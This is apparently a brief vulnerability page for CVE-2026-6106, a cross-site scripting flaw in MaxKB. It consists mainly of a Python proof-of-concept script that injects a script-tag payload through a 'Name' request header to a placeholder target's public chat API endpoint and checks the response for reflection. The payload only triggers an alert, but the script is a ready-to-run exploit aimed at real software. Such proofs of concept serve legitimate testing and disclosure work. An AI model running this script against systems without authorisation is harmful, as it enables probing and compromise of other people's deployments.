CVE-2026-6106: MaxKB跨站脚本漏洞

# Proof of Concept for CVE-2026-6106 # This script demonstrates the XSS vulnerability via the 'Name' parameter. import requests target_url = "http://target-ip:port/api/chat/public" # Replace with actual target endpoint payload = "<script>alert('CVE-2026-6106_XSS')</script>" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Name": payload, # Injecting payload into the Name parameter "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" } try: response = requests.get(target_url, headers=headers) # Check if the payload is reflected in the response headers or body if payload in response.text or payload in str(response.headers): print("[+] Vulnerability Confirmed! Payload reflected in response.") print("[+] Response Headers:", response.headers) else: print("[-] Vulnerability could not be confirmed directly.") print("[+] Hint: Check the browser behavior if manual testing.") except Exception as e: print(f"[!] Error occurred: {e}")